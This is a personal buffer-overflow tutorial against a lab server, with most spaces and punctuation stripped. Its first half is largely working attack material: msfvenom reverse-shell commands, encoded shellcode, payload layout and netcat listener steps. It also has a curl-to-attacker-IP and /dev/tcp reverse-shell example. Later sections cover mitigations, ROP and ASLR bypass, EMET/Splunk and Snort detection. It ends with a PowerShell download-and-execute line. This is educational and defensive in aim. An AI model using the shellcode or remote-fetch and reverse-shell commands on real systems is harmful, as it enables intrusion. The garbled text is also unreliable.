msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d
x86encodedShellCode
xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1
x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f
xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0
xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45
x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33
x21x0bx8fxc0xd9xbbxe0x09x7bx55x76xb6x29xf6x01
xd8x7dxf3xdcx9b
TheMSFVENOMtoolisextremelyfeaturerichItiseasytorunitblindlybasedonsomeblogortrainingcoursewithoutfully
understandingthedetailsbehindthepayloadsencodersandoutputUsingourexampleIrsquollgivea60secondbreakdownItrsquosreally
worthreadingthemanpageonmsfvenomtounderstandthearchitecturesandencoders
- p=payloadwherepayloadcouldbelowlevelassemblycompiledjavajspshellcommandscrossplatform
- shell_reversewheretheUnderscoremeansasinglestagedpayloadThismeanstheentireremotecodeexecutionoccursina
singlegoAlternativelyamulti-stagedpayloadmightinjectaldquodownloaderrdquothenrunthedownloadedagainsttheattackerrsquos
ldquoWebServerrdquotogetadditionalremotecodecommandexecutionThinkstage1ldquocurl-sattackeripmalwarerdquowhilestage2is
malwareldquobinsh-igtampdevtcp12700144440gtamp1rdquoorsometihngfarbiggerandmoreadvanced
- f=formathellipThatcanberawCJSPshelletcetc
- -eistheencoderinthiscaseforthex86architecturewersquoreworkingonbuttherearemanymanymore
- -baretheldquobadrdquocharactersIrsquoveincludedafewexampleshere
Wheredoweputourmalware
While writing these notes I first put the shell code at the beginning of the buffer before EIP Letrsquos think about this for a second in the
clientpyscriptputtingthemalwarebeforeEIPlookslikethis
NOPSLED+MALWARE+EIP(RETURNBEFOREMALWARE)+NOPS
Personally I found the first approach difficult for this C program because the NOPSLED overwrote 90rsquos to all my registers This is
important because I had no OP CODE which I could use to dynamically jump into the NOPSLED before the MALWARE I was left
manually searching for a memory address of my NOPSLED and hard coding the memory address into the program This is inferior
because you may want to test larger MALWARE which could overwrite your memory address or you may have a different memory
address when you run this exploit on a target system outside of your lab Once again hard coding the return point is bad and
unfortunatelytheNOPSLEDbeforeEIPdidntgivememuchtodynamicallyjumpinto
HoweverIdidfindthatputtingmymalwareafterEIPopenedsomenewdoorsThisapproachlooksclosertothesyntaxbelow
NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS
LikebeforewhenfindingJUMPESPyoucantestthisoutbygeneratingcodesimilartothecodebelow
malware=x41x30
eip=x97xcfxfaxb7
eip=x41x41x41x41
ending=x90200
nopsled=(x41(1000-len(malware)))
MESSAGE=x901040+eip+nopsled+malware+ending
After updating the code in the clientpy script go ahead and run the attack against the vulnerable server while in EDB debug mode Then
look into your register windows and try to ldquoFindrdquo any x90rsquos or if you used Arsquos x41rsquos If you find a register in my case ESP I overwrote
with a bunch of x41rsquos So instead of manually hard coded a memory location into the exploit I can now simply reference by ESP register
pointertojumpintothenopsled
One point here that was omitted online is the value of this In order to ldquoJumprdquo into all those ldquoArsquos you will need a librarydll with that
specific x86 operation code which your program has access to Letrsquos say Windows or Linux has a library with a JMP ESP command that
can program can call then your exploit becomes more portable because you can simply call that library Plus if you want to try out
bigger malware payloads you donrsquot have to go down into lower memory locations and hard code the new NOP location to ldquomake roomrdquo
for a bigger payload With memory protections enabled I suspect this becomes more complex but I think for now wersquoll go with the shell
codeaftertheEIPsowecanjumpintoESP
NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS
BadCharactersinCustomMalwareIfyouweretoattempttofindyourownbufferoverflowinapieceofsoftwareandwriteyourownremotecodeexecutionorremotecommandexecutionyouwouldfindthatsomecharactersarereservedforpromotinglanguageandassemblerForexamplex00isusedforNULLpointterminationinCwhichindicatesanendofanarrayorbufferandtellsaprogramtostopatthepointitseesx00OtherlanguagesmayhavesimilarreservedtypeofcharactersyouwanttocommitAsanoverlysimplifiedexamplehellip
x86encodedShellCodewBadCharacters(Fornextsection)
xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1
x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f
xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0
xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45
x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33
x21x0bx8fxc0xd9xbbxe0x09x7bx00x00x55x76xb6x29xf6x01
xd8x7dxf3xdcx9bx00x00
Nowletrsquosupdateourclientpycodetoreflectthesechangesandincludethereverseshellpayloadwejustmade
UpdatedclientpyCodewiththeldquoBadCharactercoderdquo
Wersquore getting close to the moment of truth The expected behavior is when turn on another netcat listener on port 4444 and run the
clientpy the clientpy script will attack the vulnerable tcp server and write our malicious code into the vulnerable serverrsquos buffer and
overwrite EIP with a memory pointer that will tell the CPU to ldquogo backrdquo to our malicious command which will ultimately create a
connection back to the ldquoattackerrdquo on the listening 4444 port However because we have ldquoBad Charactersrdquo we know the connection
willfail
Enablenetcatonport4444(nc-lvp4444)
TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB
Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)
WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444
We notice that the attack fails because the connection back to our attacking machine (farthest right) does not respond to our ID or
WHOIScommandsLetrsquosinvestigate
1 RightclickEIPinRegisterWindowsrarrFollowinDump
2 ScrollaroundandfindthemalwareinbetweentheNOPSLEDandNOPending
3 Lookforx00commandsandtrytonoticeanythingorstrange
WhattheTargetMachineSees
Whatwesentover
We go through each HEX character one by one and notice if any original character from the client payload are omittedgoofed up etc
etc This is a slow and tedious part of the process and arguably the best opportunity to learn We see a whole string of characters does
not ldquomatchrdquo So what happened The bad characters are reserved for various operations and memory locations If you send an OP
CODE for example then the machine will just process it ldquoas isrdquo not knowing that the characters you sent are part of a specific sequence
of characters to form a command In an environment where you are trying to encode BASH command or x86 x64 you will run into
various characters that your malware payloads canrsquot use If you donrsquot spend the time checking the memory dump for bad
charactersthenyouwillhavemanysadandlonelyhoursbehindthekeyboard
So we have to generate a payload that can omit bad characters Luckily we have a program to help us generate x86 shellcode and
omitcharacters
msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d
TestingforbadcharactersisthebestwayforyoutolearnthedebuggerassemblyandHEXYoucandoitatleasttwowaysthatIknow
ofhellip
1 UseagiantblobofallASCIcharactersinHEX
2 Generateacouplesimplepayloadsyouwanttoexecuteandwalkthroughthepayloadlinebyline
Howtotestforbadcharactersandotherassemblyandregisterissues
Terminal1Server1337
Terminal2edb(orGDBIwonrsquotjudge)
fromedbrarrattachrarrServer
fromedbrarrdebugrarrclickrunrarrclickrunagainrarrlookatbottompainandseeiftheprogramisrunning
Terminal3ExecutetheclientscriptwithyourmaliciouspayloadpadwithArsquosorNOPSsoyoucanldquoFindrdquoyourcodequicklyinmemory
Yoursquollbelookingforx41orx90rsquos
Option1-AlltheASCII
x01x02x03x04x05x06x07x08x09x0ax0bx0cx0dx0ex0fx10
x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx20
x21x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30
x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3fx40
x41x42x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50
x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5fx60
x61x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70
x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7fx80
x81x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90
x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9fxa0
xa1xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0
xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxc0
xc1xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0
xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxe0
xe1xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexff
Option2-Testsomespecificcommands
msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d
xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1
x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f
x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a
x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0
x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91
xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1
x7dxaaxa8x1cxfd
The-bx00x0ax0doptioninthecommandwillomitthex00rsquosfromtheoutputPreviouslyIpurposelyinsertedsomepeskyx00rsquosinto
thisshellcodeforillustrationTherealityisthatevenMSFVENOMmayoutputapayloadwithbadcharacterandyoustillneedtotest
Anothernoteisthattrytouseaverysimplepieceofmalwareforthefirstcodeexecution
ldquoThelargermoreadvancedthemalwareisinthebufferoverflowsthemorelikelyyouaretorunintobadcharacterandotherruntime
issuesitrsquosjustsimplemathhellipmorecharactersmorechancesforfailurerdquo
KeepitsimpleandsmallYoudonrsquotalwaysneedreverseshellsandmaybeyoucanrsquotuseareverseshellbecauseofbadcharactersor
hardeningRememberyoucanalwaysgetabiggerpayloadorbinarydowntothemachinewithasimpleTFTPGETCURLorECHO
commandLetrsquosruntheattackwiththebadcharactersomittedandseeifwecanlandashell
NewPayload
xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1
x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f
x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a
x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0
x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91
xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1
x7dxaaxa8x1cxfd
Enablenetcatonport4444(nc-lvp4444)
TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB
Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)
WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444
ClickldquoRunthroughprogramrdquobecauseyoumaybecaughtindebugmode
FinalResults
SuccessItlookslikethestackwasoverwrittenandwesuccessfullytoldEIPtopointintoourNOPSELDlocatedinESPFromthere
theCPUranthroughthememoryuntilitgotourmaliciouscodeThereverseshellcommandexecutedinthestackandconnectedback
toourldquoattackingrdquoterminal(farthestright)
CommonBufferOverflowExampleandMitigations(inC)
WhetheryourwritingsourceoryoujustreversedengineeredacompiledbinarywithGHIDRAyoumaywanttoknowwhichfunctionsare
morelikelytocauseanoverflowOlderClibraryfunctionslikestrcpy()strcat()sprintf()andvsprintf()operateonnullterminated
stringsandperformnoboundscheckingGets()isanotherfunctionthatreadsinput(intoabuffer)fromstdinuntilaterminatingnewline
orEOF(EndofFile)isfoundThescanf()familyoffunctionsalsomayresultinbufferoverflowsUsingstrncpy()strncat()snprintf()
andfgets()allmitigatethisproblembyspecifyingamaximumstringlengthofNHerersquosafewwelldocumentedexamplesIprovidedthe
assemblyinstructionstoillustratethatyoumightbeabletoreverseengineerwhereBOrsquospresentthemselvesfromobservingthe
registersofacompiledbinaryorreviewingtheoutputfromGHIDRA
gets
Thestdiogets()functiondoesnotcheckforbufferlengthandalwaysresultsinavulnerability
VulnerableCode(SOURCE)
printfexternallink(Inputsomethingnastyhere)
gets(something)
VulnerableCode(ASSEMBLY)
FixedCode
printfexternallink(Inputsomethingnastyhere)
fgets(usernameLENGTHstdin)
strcpy
Thestrcpybuilt-infunctiondoesnotnativelycheckbufferlengthsAsillustratedinourexampleiscanoverwritememoryzone
contiguoustomemorywherethepayloadisstored
VulnerableCode
charstr1[10]
charstr2[]=badstuffhere
strcpy(str1str2)
FixedCode(SOURCE)
enumBUFFER_LIMIT=1024
intmain()
chardst[BUFFER_LIMIT]
charsrc[]=badstuffhere
intbuffer_length=strlcpy(dstsrcBUFFER_LIMIT)
if(buffer_lengthgt=BUFFER_LIMIT)
printfexternallink(Stoptryingtooverflowmybufferd(disthelengthn
buffer_lengthBUFFER_LIMIT-1)
VulnerableCode(ASSEMBLY)
Anotherwaytomitigatestrcpyissuethatcomesupinblogsandowaspisstrncpywhichcanpreventbufferoverflows
FixedCode(SOURCE)
enumBUFFER_BOUNDARY_SIZE=1024
charstr1[BUFFER_BOUNDARY_SIZE]
charstr2[]=badstuffhere
strncpy(str1str2BUFFER_BOUNDARY_SIZE)limitsthenumberofcharacterstobecopiedtofizedlengthofbuffersize
strcat
YoumayalsoseetheuseofstrcatinsteadofstrncatstrcatdoesnotnativelysupportsettinganNlimitontheargumentpassedinto
thebufferAppendsthefirstnumcharactersofsourcetodestinationplusaterminatingnull-characterIfthelengthoftheCstringin
sourceislessthannumonlythecontentuptotheterminatingnull-characteriscopied
FixedCode(SOURCE)
defineBUFFER_BOUNDARY_SIZE1024
charbuff[BUFFER_BOUNDARY_SIZE]
Usesecurestrncpythenuse
strlcpy(buffString1BUFFER_BOUNDARY_SIZE-1)
buff[BUFFER_BOUNDARY_SIZE-1]=0
strncat(buffString2BUFFER_BOUNDARY_SIZE-strlen(buff)-1)
strcmp
ComparestheCstringstr1totheCstringstr2ThisfunctionstartscomparingthefirstcharacterofeachstringIftheyareequaltoeach
otheritcontinueswiththefollowingpairsuntilthecharactersdifferoruntilaterminatingnull-characterisreachedStrcmpdoesnot
validatethesizeoftheinputagainstthepredefinedbuffer
OtherMitigationstoBufferOverflows
During this tutorial I asked you to disable a few protections so we can perform a basic overflow PoC For example you had disable
ASLR in Linux using the procsyskernelrandomize_va_space interface You may have noticed the compiled C binaries needed the
following arguments -fno-stack-protector and -z execstac passed at compile time to remove C memory protections Modern exploits
need to bypass these advanced mechanisms so therersquos an entirely new rabbit hole Irsquoll only cover a few very broad areas here for my
own interest and to set myself up for further PoCrsquos and papers in the journey ahead The following should be just enough for the
newcomertodiptheirtoesintothesubjects
Canary
A less useful protections involves a method called a stack canary protections A stack canary work by modifying every functions
prologue and epilogue regions to assign a special ldquoCanaryrdquo character and check if the canary value is on the stack If not the canary
ldquosingsrdquo to warn you lol An example is The Stack Smashing Protector (SSP) compiler feature which according to their website helps
detect stack buffer overrun by aborting if a secret value on the stack is changed SSP even admits that if an attacker can properly
overwriteorjumpacanaryinstructionitispossibletobypasstheprotectionHereareafewresourcesIrsquovestartedwith
https0x00secorgtexploit-mitigation-techniques-stack-canaries5085
httpswwwrapid7comresourcesstructured-exception-handler-overwrite-explained
httpswwwexploit-dbcomdocsenglish17505-structured-exception-handler-exploitationpdf
DEP-DataExecutionProtection
DEP or executable-space protection specifically flags some memory regions as non-executable The intent is that when malware
executes the machine code in the protected regions it will cause an execution exception Flagging the memory regions and registers as
non-executablemeanstheattackerscodecannotberunUltimatelythismakesithardertoachieveofbufferoverruns
For example according the Linux man page on execstack ldquoexecstack is a program which sets clears or queries executable stack flag
of ELF binaries and shared librariesrdquo Another note your compiled binaries could be flagged with a no execution bit (NX) while other
linked libraries may still have executable stacks This is where problems arise -fno-stack-protectactor disables stack overflow
security checks for certain (or all) routines When option -fstack-protector-strong is specified it enables stack overflow security checks
forroutineswithanytypeofbuffer
In modern Windows software DEP is configured at system boot via a policy setting in the boot configuration data An application can get
the current policy setting by calling the GetSystemDEPPolicy function Hardware DEP is typically enabled by default in at the
bootloader but can be disabled with physical access Depending on the policy setting an User-Land application can change the DEP
setting for the current process by calling the SetProcessDEPPolicy function Allowing user-land changes is where developers may
introduceunprotectedcompiledbinariesThefollowinglinksareexamplesofhowtoimplementDEP
httpslwnnetArticles422487
httpslinuxdienetman8execstack
httpssupportmicrosoftcomen-ushelp875352a-detailed-description-of-the-data-execution-prevention-dep-feature-in
httpssupportmicrosoftcomen-ushelp912923how-to-determine-that-hardware-dep-is-available-and-configured-on-your
httpsdocsmicrosoftcomen-uswindows-hardwaredriversdevtestboot-parameters-to-configure-dep-and-pae
BypassingDEP
Bypassing DEP and NX requires a method called Return-Oriented Programming My first introduction to this concept was thanks to
David Maloney Sr Security Researcher at Rapid7 who had a great youtube video online that covered the concept at 1000 feet view
ThevideofirstmentionsamethoddevelopedgoingtoreturntolibcandthendiscussesReturnObjectProgrammingorROPchaining
So if stack execution is enabled wersquod expect that an attempt to execute from the stack will result in a terminated process and the cpu
will throw a segmentation fault In the return to lib C method instead of overwriting EIP with a JUMP ESP instruction like this PoC you
overwritetheInstructionPointerwithfunctionsfromwithinlibclibrary
arguments Another thing I learned is that libC is not required however it is just the most likely available and most common target in
linux In a libC example I found it was as simple as finding the memory location for system() and calling binbash which was executable
in memory As a counter defense some folks remove functions from libraries that can result in this type of chained execution Another
option which does not rely on calls to external executable functions is Return Object Programming or ROP chaining As mentioned in
the video your exploit must make use of instruction sequences available in the program yoursquore attacking or libraries linked to the
application aka ldquorop gadgetsrdquo When reading about ROP gadget I came across a line that explained there are intended sequences of
instructions and unintended sequences of instructions Hmmmmm why Because misspelling copy and pasting code hellip nope
somethingmoretrvialIrsquollre-usethisquotebecauseitwasafunpuzzle
ldquoWhat Unintended how come well if you look at a sentence like ldquothe articlerdquo the writer intended to say ldquothe articlerdquo but he didnrsquot
intendtohavethewordldquoheartrdquodidherdquo
Basically the instructions wersquore looking for end in RET aka ldquoReturnrdquo You chain a bunch of these assembly instructions together in your
payload until you get a command that can perform similar execution to the malware we used in our simple PoC You can find ROP
gadgets with the following in Immunity Debugger mona rop -m dll -cp nonull or in linux you can try simple text search for RET
instructionorROPgadgetToolonGithHuborVNsecuritycalledROPemeandorprocpidmaps
An example used in a linked exploit-db article is chaining a bunch of ROP gadgets together to basically execute
ldquoexecve(ldquobinshrdquo00)rdquo Execve executes the program pointed to by filename filename must be either a binary executable or a script
which in our case would be something like a variable equal to our reverse shell command binsh -i gtamp devtcp1270014444 0gtamp1
But when Windows or Linux has ASLR enabled libraries those binaries will have a randomized virtual memory space so it makes it
difficulttocallexecve()orsystem()
Another technique to bypass DEP makes use of native API that can change the execution flag on your memory spaces Examples Irsquove
found include VirtualAlloc HeapCreateVirtualProtect APIs If you can call upon these functions then you may be able to either create
a new executable space or change the flag for existing executable space However finding the memory addresses to these functions
andcallingthemappearstobeadifferentstory
httpsgithubcomJonathanSalwanROPgadget
httpswwwrapid7comresourcesrop-exploit-explained
httpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdf
httpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdf
httpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programmi
ng-chains]pdf
ASLR(Addressspacelayoutrandomization)
Inourexampleyoumayhavenoticedthatwecoulddirectlypullamemoryaddressandre-usethataddressinorubufferoverflowPoCThisisbecausewedisabledASLRviaLinuxecho0|sudoteeprocsyskernelrandomize_va_spaceWindows[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSessionManagerMemoryManagement]ldquoMoveImagesrdquo=dword00000000Addressspacelayoutrandomization(ASLR)isamechanisminvolvedinreducingreliabilityofexploitationviamemorycorruptionattacksliketheBufferOverflowinthisPoCInourPoCyoumayhavenoticedwepulledthehardwarememorylocationsofourbinariesandthenpointedbacktothosehardwarememorylocationsIfyoucanobscurethosememorylocationssuchthatpredictingthemisincreasinglydifficultthenthebarrierentryinexploitwritingandexecutionbecomesharderForexampleweusedJMPESPmemorylocationtoslidebackintoourNOPSLEDASLRwouldrandomlyarrangesthevirtualmemoryaddressspacepositionsofkeydataareasofaprocessincludingthebaseoftheexecutableandthepositionsofthestackheapandlibrarieswhentheythebinaryisloadedIfwewanttojumpintoaROPgadgetorcallnativeAPIrsquosandDLLshowwouldwedoitifwecanrsquotaccuratelyupdatearegistrypointerwiththememorylocation
BypassingASLR
Admittedly this is a very deep rabbit hole Most write-ups and video tutorials require an expert level knowledge of assembly and
windowslinux software architecture beyond what I intended this write-up for Irsquoll do my best to boil what Irsquove learned down into digestible
chunksandhopefullythishelpsguidemyselfandotherfurtherstudies
NonASLRlinkedbinaries
It seems like that as Windows and Linux made the transition to ASLR in the early 2000rsquos that about a decade later they were left with
some non ASLR binaries for cross compatibility It could even be that some custom application you downloaded ported over something
that is specifically ASLR disabled I found an example of this in the following two articles hellip Attacking specific functions within non ASLR
enabled binaries appears to be an early method where if we could find a ldquouniversalrdquo DLL in windows or linux we may be able to call the
memory address of JMP ESP or ROP GADGET or similar from there The point is a combination of an insecure ASLR enabled program
with access or links to a non ASLR binary results in access instructions and predictable memory locations that can be used to bypass
ASLRandbeginaROPattack
httpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdf
httpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdf
PointerLeaksDanglingPointers
If you dig deep enough yoursquoll find some mention of modern attacks using dangling pointers or pointer leakers to bypass ASLR This isnrsquot
for the faint of heart and probably not for a newcomer like myself but I like rabbit holes A dangling pointer bug can be used to put code
into an application An object put into memory is allocated a space in heap and object functions are typically managed via a VFTABLE
which creates virtual pointers which reference the actual object in HEAP My understanding is that if you can overwrite the memory
object in HEAP with exact procesion at the exact time after it has be de-allocated from memory but before it has been destructed that
the object space can be overwritten with malicious code This is due to how allocation of heap is managed de-allocated freed and how
virtualfunctionsarereferencedviavirtualtables
httpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdf
httpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdf
httpswwwrapid7comresourceswhy-you-should-be-using-emet
HEAPSprayswithASLRdisabledVirtualAlloc()inWindows
If you canrsquot find memory location of instructions in ASLR protected binaries and libraries it appears you can spray the heap and create
write chunks to memory of NOPs and malware You would likely still need to bypass DEP so ROP chains still apply however you can
either look for non ASLR binary to ROP or spray ROP gadgets in the blocks passed to HEAP Spraying Heap with memory allocated by
VirtualAlloc() appears to have been a successful method by bypass ASLR because VirtualAlloc() was not ASLR protected but this
seemslikejustplainluck
httpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystified
httpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdf
BlueteamEngineeringforpostBufferOverflow
For my own general curiosity I wanted to end this PoC with some notes on how detect a Buffer Overflow attack My intent is to just
learn and see where it takes me As a newcomer maybe this will help paint a better picture of cyber-security as a whole Because BOrsquos
are memory attacks it can be difficult to detect unless you have a low level program monitoring for Canary issues NX issues
SEGVFAULT x90rsquos ROPs etc Windows has offered EMET historically and more recently offered an IPSIDS in Windows Defender to
Enterprise There are also some ldquoNext Genrdquo IDSIPS that install in kernel space which have the logic to look for such events As I
thoughtthroughthisIlumpedthedetectionintotwobuckets
1 DetectingFailedBufferOverflowAttempts
2 DetectingSuccessfullyBufferOverflowAttempts
DetectingFailedBufferOverAttemptsinWindows
If you want to hunt attackers who attempt buffer overflow you can turn to the logs For examples EMET (Windows ASLRDEP) events
are logged as a Windows event source called EMET More modern Windows Defender Exploit Guard follows a similar pattern as the
oneIrsquomgoingtooutlineEMETDefenderlogscanbefoundintheWindowsApplicationlog
For EMET there are three levels Information Warning and Error Information messages are used for logging usual operation such as
the EMET Notifier starting Warning messages are used when EMET settings change Error messages are used for logging cases
whereEMETstoppedanapplicationwithoneofitsmitigationswhichmeansanactiveattackhasbeenblocked
EMET and Defender logs can be sent to a central log collection server or from the local machine Irsquoll refer to an example where their
sent to a central log collector parsed then sent onto your SIEM Here is a brief example of an a SPLUNK integration on Windows but a
similarmodelcouldbedeployedwithSyslogSyslogServersandanELKStackactingasaSIEM
Yoursquoll need to ensure your local endpoints are configured to log EMET via GPO Windows Event Collector service is enabled and a
collection server is deployed Here is an example of a local local log policy setting to push down to the endpoints being monitored via
GPOetc
ltQueryListgt
ltQueryId=0Path=Applicationgt
ltSelectPath=Applicationgt[System[Provider[Name=EMET]and(Level=2)]]ltSelectgt
ltQuerygt
ltQueryListgt
To analyze the EMET data in Splunk yoursquoll need to install the Splunk Universal Forwarder on the central log collection server and
configure it to send logs from the collectorsyslog server to a Splunk indexer Splunk Indexer is just a fancy way to say a network service
to send your logs to which has some special logic to parser filter transform and write your logs in a unique format to Splunk based on
somepredefinedSplunkpolicy
Yoursquoll may need to set a filter on the central log server to parse the events for the EMET alerts before sending them on Below is an
exampleoftheWindowseventssubscriptionfilterRememberthedefaultlocationofforwardedlogeventsistheForwardedEventslog
The following is a Splunk sample configurations that can be used in the Splunk inputsconf file on the central log collection server
BasicallythispolicysayswhichlogscangetsentontotheSIEM
[WinEventLogForwardedEvents]
disabled=0
renderXml=1
evt_resolve_ad_obj=1
The above policy config tells the Splunk Universal Forwarder to monitor the Forwarded Events log on the log collection server and to
and send the events in XML format allows for facilitated extraction of information in Splunk to aid in the creation of useful Splunk
queries
SampleEMETEvent
EMETversion55587131892
EMETdetectedEAF+mitigationandwillclosetheapplicationIEXPLOREEXE
EAF+checkfailed
ApplicationCProgramFiles(x86)InternetExplorerIEXPLOREEXE
UserNameDOMAINuser
SessionID1
PID0x1348(4936)
TID0xF90(3984)
ModuleSOMEDLLdll
ModBase0x11630000
ModAddress0x11642E99
MemAddress0x76F501A4
Your Blue Team can configure an alert based on these results Consider correlating the alert with internal ranking of the assets value to
prioritize the response For example an alert like this on a PCI system or system storing your unreleased Intellectual Property may
need immediate action compared to a non production server being pen tested Although a non production server sounds like a nice
beachheadtomaintainafoothold
httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdf
httpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-server
DetectingSuccessfulBufferOverAttempts
The Blue Team philosophy is to assume your compromise and look for Indicators of Compromise In this model we assume the attacker
has successfully launched a buffer overflow and gained command and control over the asset Which means our mitigations have failed
which they will In my mind there are two techniques Irsquod lie to cover Irsquom sure there are more but as a newcomer I think these two
approachespaintsasolidpicture
1) Networkbasedsignaturedetection(Thismayalsocatchunsuccessfulattempts)
2) Hostbasedsignaturedetection
NetworkBasedDetection
Letrsquos consider the basic reverse shell we created with MSFVENOM from metasploit and packched into our malware variable in the
clientpyscriptWhenthisattackoccursithasafewuniquecharacteristicsinsidethenetworkcommunication
1 EncodedHEXpayloadmalwarewithintheclientattack
2 Abunchofx90rsquoswithintheclientattack
3 possiblybinbashorotheruniquestringssentbackinthereverseshellasSTIOtotheattackersterminal
If you had an inline or passive IDS which had access to the buffer overflow network packets a Blue Teams will likely have
SNORTSURICATA rules which alert on signatures that match our payload This is because the commands to gain a reverse shell from
bash sh python etc are universally known Irsquove included a few examples of emerging shell_code SNORT rules that look for metasploit
generatedBSDshellcode
alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 2)
content|6a 61 58 99 52 42 52 42 52 68| fast_patternonly referenceurldocemergingthreatsnet2010416
classtypeshellcode-detect sid2010416 rev4 metadataaffected_product Any attack_target Client_and_Server deployment
Perimeter deployment Internet deployment Internal deployment Datacenter tag Metasploit signature_severity Critical created_at
2010_07_30updated_at2016_07_01)
alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 3)
content|89 e1 6a 10 51 50 51 97 6a 62 58 cd 80 6a 02 59 b0 5a 51 57| fast_patternonly
referenceurldocemergingthreatsnet2010417 classtypeshellcode-detect sid2010417 rev4 metadataaffected_product Any
attack_target Client_and_Server deployment Perimeter deployment Internet deployment Internal deployment Datacenter tag
Metasploitsignature_severityCriticalcreated_at2010_07_30updated_at2016_07_01)
Modern attacks occur over TLSSSL over tcp communications these days which means detecting our payload would be difficult to nearly
impossible Blue-teams may counter encrypted communication with TLS interception and packet inspection To further evade TLS
interception crypters encoders custom encoded code or polymorphic code would need to be written Irsquove even heard of padding the
payloadsolargethattherulesareignoredduetoperformanceaswellSneaky
HostBasedDetection
In this model you assume the target has already been breached Maybe EMET was disabled or the attack was highly sophisticated and
made it past your defenses Whatever the case the attacker now has command and control over your machine thanks to a Buffer
OverflowLuckilyattackerpatternsofbehaviorarerelativelypredictableWhatdoesthatmean
Consideriftheactivedirectorylogsshowdirectoryenumerationssuchas
netviewdomain
netuserdomain
netaccountsdomain
Considerifthelocalhostlogsshowlocalaseriesofenumerationscommandssuchas
systeminfo
netlocalgroupldquoAdministratorsrdquo
uname-a
catprocissue
Considermoreadvancedpost-exploitattemptstobypassdetectionviaPowerShell
start-Process -FilePath nssmexe -ArgumentList lsquoinstall MaliciousService ldquoCWindowsSystem32WindowsPowerShellv10powershellexerdquo ldquo-command ldquoamp CScriptsMonitorps1 Start-Monitoring rdquordquo lsquo -NoNewWindow-Wait
powershellexe-execbypassndashnoprofilendashciex(New-ObjectNetWebClient)DownloadString
(http10022108081CodeExecutionInvoke-Shellcodeps1)
